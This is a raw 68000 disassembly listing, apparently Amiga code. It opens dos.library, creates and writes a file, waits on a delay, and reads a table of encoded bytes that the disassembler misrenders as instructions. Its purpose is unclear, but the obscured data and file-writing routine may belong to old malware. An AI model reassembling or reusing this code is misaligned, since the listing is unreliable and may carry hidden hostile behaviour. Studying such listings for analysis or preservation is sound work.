MOVE.L 8(A5),D0 ;730: 202D0008
MOVEQ #1,D1 ;734: 7201
MOVEQ #0,D2 ;736: 7400
MOVEA.L 16(A5),A1 ;738: 226D0010
MOVEA.L (A1),A1 ;73C: 2251
MOVE.L (A1),-28(A0) ;73E: 2151FFE4
JSR -30(A6) ;742: 4EAEFFE2
DC.W $41FA ;746
BSET D0,(A4) ;748: 01D4
MOVE.L D0,36(A0) ;74A: 21400024
ADDQ.L #1,D0 ;74E: 5280
BEQ.S LAB_0057 ;750: 6744
SUBQ.L #1,D0 ;752: 5380
MOVEQ #16,D1 ;754: 7210
JSR -54(A6) ;756: 4EAEFFCA
TST.L D0 ;75A: 4A80
BNE.S LAB_0057 ;75C: 6638
BSR LAB_005E ;75E: 61000082
MOVE.L D0,-(A7) ;762: 2F00
DC.W $203A ;764
BSET D0,(A2)+ ;766: 01DA
MOVEQ #2,D1 ;768: 7202
JSR -84(A6) ;76A: 4EAEFFAC
DC.W $203A ;76E
BSET D0,(A0) ;770: 01D0
JSR -120(A6) ;772: 4EAEFF88
MOVE.L (A7)+,D0 ;776: 201F
BNE.S LAB_0057 ;778: 661C
DC.W $2C7A ;77A
BCLR D0,(A4)+ ;77C: 019C
LEA LAB_0069(PC),A1 ;77E: 43FA00F4
MOVE.L A1,D1 ;782: 2209
MOVE.L #$000003EE,D2 ;784: 243C000003EE
JSR -30(A6) ;78A: 4EAEFFE2
MOVE.L D0,D1 ;78E: 2200
BEQ.S LAB_0057 ;790: 6704
JSR -36(A6) ;792: 4EAEFFDC
LAB_0057:
MOVEA.L (ABSEXECBASE).W,A6 ;796: 2C780004
DC.W $227A ;79A
BCLR D0,(A4)+ ;79C: 019C
JSR -414(A6) ;79E: 4EAEFE62
LAB_0058:
BSR LAB_0055 ;7A2: 6100FF52
DC.W $2C7A ;7A6
DC.W $0170 ;7A8
MOVE.L #$00007530,D1 ;7AA: 223C00007530
JSR -198(A6) ;7B0: 4EAEFF3A
BRA LAB_0054 ;7B4: 6000FF22
LAB_0059:
MOVE.L #$000001FF,D1 ;7B8: 223C000001FF
LAB_005A:
DC.W $203A ;7BE
BCLR D0,D0 ;7C0: 0180
MOVEQ #0,D2 ;7C2: 7400
RTS ;7C4: 4E75
LAB_005B:
MOVEA.L LAB_0066(PC),A0 ;7C6: 207A008A
BSR.S LAB_0059 ;7CA: 61EC
JSR -78(A6) ;7CC: 4EAEFFB2
LAB_005C:
ADDQ.L #1,D0 ;7D0: 5280
RTS ;7D2: 4E75
LAB_005D:
BSR.S LAB_005A ;7D4: 61E8
ANDI.L #$000000FF,D1 ;7D6: 0281000000FF
JSR -66(A6) ;7DC: 4EAEFFBE
BRA.S LAB_005C ;7E0: 60EE
LAB_005E:
MOVEQ #0,D1 ;7E2: 7200
MOVEA.L LAB_0066(PC),A0 ;7E4: 207A006C
BSR.S LAB_005D ;7E8: 61EA
BEQ.S LAB_0063 ;7EA: 6752
BSR.S LAB_005B ;7EC: 61D8
BEQ.S LAB_0063 ;7EE: 674E
MOVE.L #$32323000,D0 ;7F0: 203C32323000
BSR.S LAB_0065 ;7F6: 614E
BNE.S LAB_0063 ;7F8: 6644
LEA LAB_006D+1(PC),A0 ;7FA: 41FA0097
LAB_005F:
LEA LAB_006C(PC),A1 ;7FE: 43FA008C
CLR.L D1 ;802: 4281
MOVE 192(A1),D1 ;804: 322900C0
MOVE.B 0(A1,D1.W),D1 ;808: 12311000
MOVEA.L A0,A2 ;80C: 2448
ADDA.L D1,A2 ;80E: D5C1
MOVE.L A2,-(A7) ;810: 2F0A
ADDQ #1,192(A1) ;812: 526900C0
BSR.S LAB_005D ;816: 61BC
BEQ.S LAB_0062 ;818: 6722
DC.W $323A ;81A
DC.W $0130 ;81C
CMP #$0006,D1 ;81E: B27C0006
BGE.S LAB_0060 ;822: 6C06
CMP #$0005,D1 ;824: B27C0005
BGE.S LAB_0061 ;828: 6C04
LAB_0060:
BSR.S LAB_005B ;82A: 619A
BEQ.S LAB_0062 ;82C: 670E
LAB_0061:
MOVEA.L (A7)+,A0 ;82E: 205F
DC.W $343A ;830
BTST D0,(A2)+ ;832: 011A
CMP #$0007,D2 ;834: B47C0007
BNE.S LAB_005F ;838: 66C4
BRA.S LAB_0064 ;83A: 6006
LAB_0062:
ADDQ.L #4,A7 ;83C: 588F
LAB_0063:
MOVEQ #-1,D0 ;83E: 70FF
RTS ;840: 4E75
LAB_0064:
MOVEQ #0,D0 ;842: 7000
RTS ;844: 4E75
LAB_0065:
MOVEA.L LAB_0066(PC),A0 ;846: 207A000A
CLR.B 3(A0) ;84A: 42280003
CMP.L (A0),D0 ;84E: B090
RTS ;850: 4E75
LAB_0066:
ORI #$64DC,(A3)+ ;852: 005B64DC
LAB_0067:
DC.W $646F ;856
DC.W $732E ;858
DC.W $6C69 ;85A
BHI.S LAB_006E ;85C: 6272
BSR.S LAB_006F ;85E: 6172
DC.W $7900 ;860
LAB_0068:
ADDA A5,A4 ;862: D8CD
ADDA A5,A7 ;864: DECD
ADDA.L (A5)+,A2 ;866: D5DD
ADDA.L (A3)+,A0 ;868: D1DB
AND.L (A0),D7 ;86A: CE90
ADDA (A7),A3 ;86C: D6D7
ADDA A4,A4 ;86E: D8CC
ADDA.L A4,A5 ;870: DBCC
DC.W $C3BE ;872
LAB_0069:
ASL.L #4,D4 ;874: E984
LAB_006A:
ASR -66(A7,A7.L) ;876: E0F7F8BE
LAB_006B:
ADDA (A7),A3 ;87A: D6D7
ADDA A2,A2 ;87C: D4CA
ADDA.L A3,A7 ;87E: DFCB
MULU (A1),D7 ;880: CED1
SUBA A2,A2 ;882: 94CA
ADDA.L A3,A7 ;884: DFCB
MULU (A1),D7 ;886: CED1
SUBA (A2)+,A2 ;888: 94DA
DC.W $DFBE ;88A
LAB_006C:
CMP.L -25672(A6),D2 ;88C: B4AE9BB8
DC.W $8FBB ;890
LAB_006D:
DC.W $BCF6 ;892
DC.W $FFF2 ;894
DC.W $F59E ;896
DC.W $CECC ;898
MULS (A7),D4 ;89A: C9D7
SUBA (A2)+,A2 ;89C: 94DA
DC.W $DFB3 ;89E
DC.W $B0F3 ;8A0
DC.W $FBF7 ;8A2
DC.W $F69E ;8A4
DC.W $FCEC ;8A6
DC.W $F5F3 ;8A8
OR.L D2,D0 ;8AA: 8082
ADDA.L (A3)+,A3 ;8AC: D7DB
OR.L -20(A3,A3.W),D2 ;8AE: 84B3B0EC
DC.W $F9EE ;8B2
ROR.L #7,D6 ;8B4: EE9E
DC.W $EEF1 ;8B6
OR.L D2,D0 ;8B8: 8082
MULU (A7),D6 ;8BA: CCD7
DC.W $C8CB ;8BC
DC.W $C9C9 ;8BE
ADDA.L A4,A2 ;8C0: D5CC
ADDA.L A5,A0 ;8C2: D1CD
ADDA (A1),A1 ;8C4: D2D1
DC.W $CAFE ;8C6
DC.W $CECC ;8C8
MULS (A7),D4 ;8CA: C9D7
SUBA (A2)+,A2 ;8CC: 94DA
ADDX.L D0,D7 ;8CE: DF80
LAB_006E:
DC.W $B7B4 ;8D0
LAB_006F:
DC.W $FEFF ;8D2
DC.W $EEFF ;8D4
DC.W $B7B4 ;8D6
DC.W $FBD0 ;8D8
ADDA.L A2,A2 ;8DA: D5CA
ADDA (A3)+,A1 ;8DC: D2DB
AND.L (A6)+,D4 ;8DE: C89E
OR.L D5,(A6)+ ;8E0: 8B9E
ADDA (A7),A4 ;8E2: D8D7
MULU (A3)+,D7 ;8E4: CEDB
AND.L D4,(A6)+ ;8E6: C99E
MULU (A6),D7 ;8E8: CED6
ADD.L D7,(A6)+ ;8EA: DF9E
ADDA A3,A7 ;8EC: DECB
DC.W $C9CA ;8EE
SUB.L D5,(A7)+ ;8F0: 9B9F
SUBA EXT_0002,A5 ;8F2: 9AF9C8DBDFCA
AND.L (A6)+,D0 ;8F8: C09E
MULU (A1),D7 ;8FA: CED1
SUBA #$FFF1,A5 ;8FC: 9AFCFFF1
DC.W $F69E ;900
ADDA.L (A0),A5 ;902: DBD0
ADD.L (A6)+,D7 ;904: DE9E
DC.W $F8F1 ;906
DC.W $F1F1 ;908
ROXR.L D4,D3 ;90A: E8B3
CMP.L -112(A3,A3.W),D0 ;90C: B0B3B090
DC.W $B7B4 ;910
DC.W $EBEB ;912
DC.W $F3EA ;914
DC.W $B7B4 ;916
END